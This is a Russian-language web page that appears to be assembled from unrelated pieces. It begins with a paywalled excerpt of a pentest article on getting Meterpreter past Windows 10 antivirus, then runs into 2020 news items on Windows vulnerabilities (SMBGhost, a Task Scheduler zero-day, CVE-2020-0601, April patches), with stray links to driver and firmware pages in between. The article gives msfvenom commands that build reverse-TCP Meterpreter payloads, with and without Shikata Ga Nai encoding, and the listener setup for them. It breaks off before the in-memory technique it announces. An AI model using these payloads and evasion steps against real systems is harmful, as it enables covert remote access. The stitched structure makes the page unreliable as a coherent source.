Windows 10 exploits 2020

Скрытая нагрузка. Обходим антивирус и загружаем Meterpreter из памяти в Windows 10

Содержание статьи

Meterpreter — это рас­ширен­ная мно­гофун­кци­ональ­ная наг­рузка (payload), которая исполь­зует­ся в Metasploit Framework как уни­фици­рован­ная осно­ва для пос­тэкс­плу­ата­ции. По сути — про­качан­ная аль­тер­натива клас­сичес­ким шелл‑кодам. Это отличный инс­тру­мент в арсе­нале любого пен­тесте­ра, но он нас­толь­ко популя­рен, что его сиг­натуры есть в базах любого защит­ного ПО, будь то Windows 10, анти­вирус или даже Google Chrome.

Shikata Ga Nai

Од­на из основных тех­ник Metasploit — это схе­ма кодиро­вания полез­ной наг­рузки Shikata Ga Nai (наз­вание перево­дит­ся с япон­ско­го как «ничего не подела­ешь»). Работа­ет она за счет SGN, уни­каль­ного «полимор­фно­го адди­тив­ного энко­дера XOR». Бла­года­ря ему каж­дый раз, ког­да ты кодиру­ешь шелл‑код, это будет про­исхо­дить по‑дру­гому, от чего наг­рузка ста­новит­ся для анти­виру­са безопас­ной на вид.

В SGN реали­зова­ны: динами­чес­кая замена команд, динами­чес­кое упо­рядо­чение бло­ков, слу­чай­ный обмен регис­тра­ми, ран­домиза­ция поряд­ка команд, встав­ка ненуж­ного кода, исполь­зование слу­чай­ного клю­ча и ран­домиза­ция рас­сто­яния меж­ду коман­дами.

При всех плю­сах тех­ника кодиро­вания Shikata Ga Nai не всег­да быва­ет эффектив­ной на пос­ледних вер­сиях Windows.

Под­робнее о Shikata Ga Nai читай в пуб­ликации Ника Хоф­фма­на, Дже­реми Хам­бла и Тоби Тей­лора.

Определение проблемы

Да­вай про­верим Shikata Ga Nai на прак­тике и узна­ем, дей­стви­тель­но ли его популяр­ность при­вела к тому, что SGN отлавли­вают анти­виру­сы. В качес­тве жер­твы я буду исполь­зовать свой ноут­бук с пос­ледней вер­сией Windows 10 со все­ми уста­нов­ленны­ми обновле­ниями (Build 19042).

Ге­нери­ровать шелл‑код я буду с помощью MSFvenom. В качес­тве слу­шате­ля выс­тупит Kali Linux 2020.4 пос­ледней вер­сии с уста­нов­ленным Metasploit 6.0.18-dev.

Для начала сге­нери­руем стан­дар­тную наг­рузку без SGN:

$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -f exe > clean_shell. exe
.
Payload size: 354 bytes
Final size of exe file: 73802 bytes

На Kali под­нимем handler. На интерфей­се eth1 IP-адрес 10. 10. 0. 180 :

$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433

Про­буем для начала передать файл, ска­чав его с помощью Google Chrome. Для это­го под­нимаю HTTP-сер­вер с помощью модуля для вто­рой вер­сии Python:

Про­бую ска­чать наш шелл по адре­су http:// 10. 10. 0. 180: 8000/ clean_shell. exe .

Оче­вид­но, что файл заб­локиро­вал Google Chrome

Да­вай поп­робу­ем открыть файл. На этой машине с Windows 10 у меня уста­нов­лена под­систе­ма Linux (WSL). Ска­чаем этот файл в тер­минале с помощью wget и поп­робу­ем запус­тить.

При попыт­ке открыть нас ждет пре­дуп­режде­ние и файл уда­ляет­ся

Файл Meterpreter был уда­лен даже без обра­щения к нему. Нуж­но лишь ска­чать и подож­дать око­ло минуты. Какая вни­матель­ная Windows! 🙂

Ав­томати­чес­кое уда­ление фай­ла с Meterpreter

Тем вре­менем на машине с Kali тишина и слы­шен звук свер­чков. Поп­робу­ем теперь тех­нику кодиро­вания Shikata Ga Nai. Соз­даем новый пей­лоад в MSFvenom. На машине с Kali по‑преж­нему висит в ожи­дании handler.

До­бавим к опци­ям -e x86/ shikata_ga_nai -b ‘\ x00’ -i 20 , то есть исполь­зуем SGN в 20 ите­раций с уда­лени­ем пло­хого сим­вола \ x00 .

$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -e x86/ shikata_ga_nai -b \ x00 -i 20 -f exe > sgn_20_shell. exe
.
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
.
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes

Про­буем заг­рузить с помощью Google Chrome: http://10.10.0.180:8000/sgn_20_shell.exe.

Читайте также:  Itunes для windows mobile

SGN не помог обой­ти анти­вирус

Сно­ва неуда­ча. Пос­ле ска­чива­ния с помощью Wget и запус­ка нас ждет такая же исто­рия, как и в прош­лый раз, — с пос­леду­ющим уда­лени­ем вре­доно­са. Какой мож­но сде­лать вывод? Пра­виль­но, на новых вер­сиях Windows 10 Shikata Ga Nai бес­полезен.

C сен­тября 2020 года ком­пания Google вве­ла Advanced Protection Program для высоко­рис­ковых поль­зовате­лей, таких как полити­ки и жур­налис­ты. Заг­ружа­емые учас­тни­ками этой прог­раммы фай­лы могут сна­чала прой­ти про­вер­ку на сер­верах Google, а лишь потом попасть к поль­зовате­лю.

Так про­исхо­дит потому, что при запус­ке исполня­емо­го фай­ла и перед заг­рузкой его в память сис­тема пыта­ется най­ти сиг­натуры, при­над­лежащие вре­донос­ному ПО. В нашем слу­чае такие сиг­натуры были най­дены и обна­руже­ны. Поэто­му Windows 10 не раз­решила запуск. Даже SGN не помог. Сам по себе полимор­физм в нем неп­лох, но сле­пок ста­ба это­го энко­дера уже дав­но изу­чен.

Запуск Meterpreter из памяти

Оче­вид­ное решение — уход в сто­рону выпол­нения Meterpreter из памяти работа­юще­го про­цес­са. Воз­можно, нам удас­тся обой­ти не толь­ко ста­тичес­кий ана­лиз, но и динами­чес­кий ана­лиз защит­ника Windows Defender.

Для выпол­нения прог­раммы из памяти я буду исполь­зовать Python. Из­вестен спо­соб запус­ка обратно­го шел­ла Python с пос­леду­ющей ком­пиляци­ей скрип­та в еди­ный исполня­емый файл модулем py2exe. Безус­ловно, вари­ант рабочий, хотя, как отме­чает автор статьи по ссыл­ке, питонов­ский шелл в Windows не поз­воля­ет делать некото­рые вещи. Всег­да есть воз­можность про­апгрей­дить Meterpreter пря­мо в сес­сии (post-модуль shell_to_meterpreter ). Одна­ко это не всег­да удоб­но, и этот спо­соб мож­но улуч­шить.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.

Denis Simonov

Пентестер и дизайнер. Занимаюсь проблемами моделирования времени в виртуальных мирах.

Для «червеобразной» уязвимости в Windows 10 опубликован PoC-эксплоит

PoC-эксплоит позволяет повысить привилегии до уровня системы.

Специалисты компании ZecOps продемонстрировали , что уязвимость SMBGhost (CVE-2020-0796) может эксплуатироваться локальным атакующим для повышения своих привилегий на уязвимой системе.

Уязвимость в SMBv3 затрагивает Windows 10 и Windows Server 1903 и 1909. Компания Microsoft исправила ее 12 марта нынешнего года с помощью внепланового обновления безопасности KB4551762. Уязвимость является «червеобразной» и может эксплуатироваться для повышения привилегий на атакуемой системе. Для осуществления атаки на SMB-сервер злоумышленник должен отправить особым образом сконфигурированные пакеты. Для атаки на SMB-клиент атакующий должен заставить жертву подключиться к вредоносному SMB-серверу.

Исследователи уже публиковали PoC-эксплоиты для уязвимости, однако с их помощью можно только вызвать отказ в обслуживании атакуемой системы. PoC-эксплоитов для удаленного выполнения кода пока нет, однако исследователи из ZecOps представили PoC-эксплоит, позволяющий локально повысить свои привилегии до уровня системы.

Исследователи безопасности Даниэль Гарсиа Гутьеррес (Daniel García Gutiérrez) и Мануэль Бланко Параджон (Manuel Blanco Parajón) также опубликовали PoC-эксплоит, позволяющий повысить привилегии до уровня системы.

В свежей Windows 10 уже обнаружена уязвимость нулевого дня

Независимая ИБ-исследовательница под ником SandboxEscaper опубликовала эксплойт к актуальной версии Windows 10. Уязвимость Планировщика заданий (Task Scheduler) позволяет взломщику получить дополнительные права в системе и открыть файлы с уровнем доступа SYSTEM.

Новость появилась практически одновременно с выпуском очередного пакета обновлений Windows 10. Эксперты CERT/CC подтвердили работоспособность эксплойта на 64- и 32-битных версиях систем с последними патчами, а также Windows Server 2016 и 2019. Пользователей Windows 7 и 8 угроза не коснулась.

Проблема оказалась связана с обратной совместимостью Планировщика заданий, конкретно — с механизмом обработки задач в формате JOB, который использовался еще в Windows XP. Эти файлы разграничивают права пользователей через так называемые списки избирательного управления доступом (discretionary access control lists, DACL). Как выяснилось, в отсутствие этих элементов система снимает ограничения, позволяя любому пользователю работать с данными.

Читайте также:  Драйвер для vf0400 live cam для windows

За последний год это уже пятый эксплойт за авторством SandboxEscaper. В августе 2018 года она опубликовала еще одну уязвимость Task Scheduler — ошибка интерфейса ALPC позволяла обычному пользователю получить администраторские привилегии. Далее, в октябре, девушка продемонстировала способ подменять легитимные DLL-библиотеки приложений на скомпрометированные. Третий и четвертый эксплойты, позволявшие читать любые файлы и переписывать данные в уязвимой системе, были опубликованы в декабре.

По словам SandboxEscaper, она обнаружила еще три 0-day для несанкционированного повышения прав и одну уязвимость для выхода из песочницы. Эти баги предлагаются к продаже любым «не-западным» заказчикам. Стоимость каждой бреши — 60 тыс. в неназванной валюте.

Уязвимость CVE-2020-0601, компрометирующая инфраструктуру открытых ключей ОС Windows

Обнаруженная уязвимость касается корневой части проверки сертификатов в Windows и делает невозможной проверку легитимности ПО. Это открывает злоумышленникам возможность обхода технологий защиты ОС и части модулей антивирусной защиты. Это многократно повышает риски успешного заражения узлов сети вирусным ПО.

Стало известно о серьезной уязвимости CVE-2020-0601 в интерфейсе CryptoAPI (crypt32.dll) ОС Windows, позволяющей обойти проверку сертификатов в Windows. Эксплуатация уязвимости значительно усложняет задачу по проверке легитимности ПО и делает возможной реализацию атак Man in the Middle на различные системы, использующие CryptoAPI для построения TLS. В результате злоумышленники смогут обходить встроенные технологии защиты ОС, некоторые компоненты различных антивирусов и получать доступ к зашифрованным данным.

Windows CryptoAPI – интерфейс программирования, обеспечивающий разработчиков стандартным набором функций для работы с криптопровайдерами операционной системы. Уязвимость связана с ECC-криптографией (Eliptic Curve Cryptography – метод криптографии, основанный на эллиптических кривых над конечными полями) и заключается в некорректной проверке ECC-сертификата функциями, предоставляемыми интерфейсом CryptoAPI. В результате злоумышленник может создать действительный X.509 сертификат, который система будет принимать за доверенный. Полученный сертификат может использоваться для подписи любых исполняемых файлов, а также для перехвата и модификации трафика от TLS-соединений.

Любое ПО, которое использует для проверки сертификата API функцию CertGetCertificateChain() из CryptoAPI, может некорректно определить надежность данного сертификата.

Уязвимость получила номер CVE-2020-0601. Согласно информации, предоставленной компанией Microsoft, уязвимости подвержены следующие версии ОС Windows:

• Windows 10 for 32-bit Systems
• Windows 10 for x64-based Systems
• Windows 10 Version 1607 for 32-bit Systems
• Windows 10 Version 1703 for 32-bit/x64-based Systems
• Windows 10 Version 1709 for 32-bit/x64-based Systems
• Windows 10 Version 1709 for ARM64-based Systems
• Windows 10 Version 1803 for 32-bit/x64-based Systems
• Windows 10 Version 1803 for ARM64-based Systems
• Windows 10 Version 1809 for 32-bit/x64-based Systems
• Windows 10 Version 1809 for ARM64-based Systems
• Windows 10 Version 1903 for 32-bit/x64-based Systems
• Windows 10 Version 1903 for ARM64-based Systems
• Windows 10 Version 1909 for 32-bit/x64-based Systems
• Windows 10 Version 1909 for ARM64-based Systems
• Windows Server 2016
• Windows Server 2016 (Server Core installation)
• Windows Server 2019
• Windows Server 2019 (Server Core installation)
• Windows Server, version 1803 (Server Core Installation)
• Windows Server, version 1903 (Server Core installation)
• Windows Server, version 1909 (Server Core installation)

Несмотря на то, что компания Microsoft не выявила случаев эксплуатации данной уязвимости, вероятность таких попыток после публикации отчета высока.

Рекомендуем установить необходимые обновления для уязвимых ОС Windows, начиная с узлов на периметре и далее для всей инфраструктуры, согласно принятым в компании процедурам управления уязвимостями.

Microsoft закрыла три уязвимости нулевого дня в Windows в апрельском пакете обновлений безопасности

14 апреля 2020 года компания Microsoft выпустила апрельский пакет обновлений безопасности для Windows 10 версий 1607, 1909, 1903 и 1809, Windows 8.1 и Windows 7, а также Windows Server 2008/2012/2016 и 2019. Этот апрельский комплект патчей безопасности устраняет 113 уязвимостей в одиннадцати программных продуктах компании. Среди них: 15 критических уязвимостей, включая три нулевого дня, 93 серьезные, три со средним уровнем угроз и две уязвимости с низким уровнем влияния на систему. Причем две закрытые уязвимости нулевого дня ранее уже некоторое время эксплуатировались злоумышленниками.

Закрытые в апреле 2020 года специалистами Microsoft уязвимости нулевого дня были обнаружены ранее экспертами по ИБ из Google Project Zero и Threat Analysis Group, это:

  • CVE-2020-1020 — уязвимость удаленного исполнения кода в библиотеки шрифтов Windows Adobe Type Manager Library (atmfd.dll), используемую Windows для обработки шрифтов PostScript Type 1. Эксплуатация уязвимости могла производиться злоумышленником удаленно от имени пользователя. Данная проблема затронула все версии пользовательские и серверные версии Windows, кроме Windows 10;
  • CVE-2020-0938 — вторая уязвимость, которая также была обнаружена в библиотеке Windows Adobe Type Manager Library, но информация о ней появилась лишь недавно. Вдобавок эксплуатации этой уязвимости препятствовали ранее рекомендованные специалистами Microsoft меры по снижению рисков, такие как отключение Preview Pane и Details Pane, то есть панелей предварительного просмотра и сведений, отключение службы WebClient, а также переименование ATMFD.DLL.;
  • CVE-2020-1027 — уязвимость ядра Windows, позволяющая злоумышленникам запускать код с повышенными привилегиями и получить полный доступ к ядру системы.
Читайте также:  Прошивка windows 10 для nokia lumia 1520

Microsoft не раскрыла подробную информацию по закрытым уязвимостям, чтобы дать пользователям время на установку патчей и таким образом помешать злоумышленникам использовать их в настоящее время и разработать для них PoC-эксплоиты.

Примечательно, что в марте 2020 года Microsoft в рамках вторника патчей (Patch Tuesday) устранила 115 уязвимостей в Windows, 26 из которых были критическими, а 88 представляли серьезную опасность. Таким образом, в компании внимательно следят за текущей ситуацией в области безопасности своего ПО и стараются прорабатывать все обнаруженные проблемы, а не откладывать их не некоторое время из-за загруженности своих разработчиков, большая часть которых работает удаленно.

Ранее 6 апреля 2020 года стало известно, что Microsoft выкупила домен corp.com по соображениям безопасности, потратив на это достаточно крупную сумму. «Мы призываем клиентов придерживаться мер безопасности при создании внутренних доменных и сетевых имен, чтобы защитить корпоративные сети. Мы выпустили рекомендации по безопасности в июне 2009 года, а также обновление системы безопасности, которое помогает обеспечить безопасность клиентов. В рамках нашей постоянной приверженности обеспечению безопасности клиентов мы также приобрели домен Corp.com», — пояснила Microsoft.

24 марта 2020 года Microsoft сообщила, что в компании решили начиная с мая 2020 года приостановить выпуск всех необязательных обновлений (так называемые обновления C и D), которые не связаны с безопасностью программных продуктов, для всех поддерживаемых в настоящее время клиентских и серверных версий ОС Windows. Таким образом, Microsoft устанавливает максимальный приоритет на безопасности, чтобы в текущей ситуации обеспечить стабильность, надежность и продуктивность всех версий ОС Windows, установленных у пользователей.

20 марта 2020 года Microsoft объявила в своем блоге, что компания приостанавливает разработку стабильной версии нового браузера Edge под номером 81, в связи со сложными текущими проблемами у сотрудников и возникшими «глобальными обстоятельствами».

19 марта 2020 года Microsoft объявила, что продлевает на шесть месяцев дату окончания поддержки ОС Windows 10 версии 1709 для корпоративного и образовательного сегмента (Windows 10 Enterprise, Education и IoT Enterprise). Теперь обновления безопасности для Windows 10 версии 1709 будут выходить до 13 октября 2020 года. Ранее срок окончания поддержки этой версии ОС для корпоративных пользователей и образовательных учреждений был установлен на 14 апреля 2020 года. А с 14 апреля 2020 года стало известно, что Microsoft обновила даты окончания поддержки для Windows 10 версии 1809 и более старых программ и служб. Для Windows 10 версии 1809 последнее обновление выйдет 10 ноября 2020 года вместо 12 мая 2020 года. Также временно приостанавливаются обновления функций для выпусков Home и Pro, работающих на версии 1809. Данная мера принимается для обеспечения стабильной работы организаций во время пандемии коронавируса.

12 марта Microsoft экстренно выпустила патч KB4551762 для Windows 10 версии 1903 и версии 1909, а также Windows Server версии 1903 и версии 1909. Уязвимость CVE-2020-0796 в протоколе сетевой коммуникации Microsoft Server Message Block 3.1.1 (SMBv3) позволяет взломать SMB-сервер и SMB-клиент под управлением Windows 10 версии 1903, Windows Server версии 1903 (установка Server Core), Windows 10 версии 1909 и Windows Server версии 1909 (установка Server Core).

Оцените статью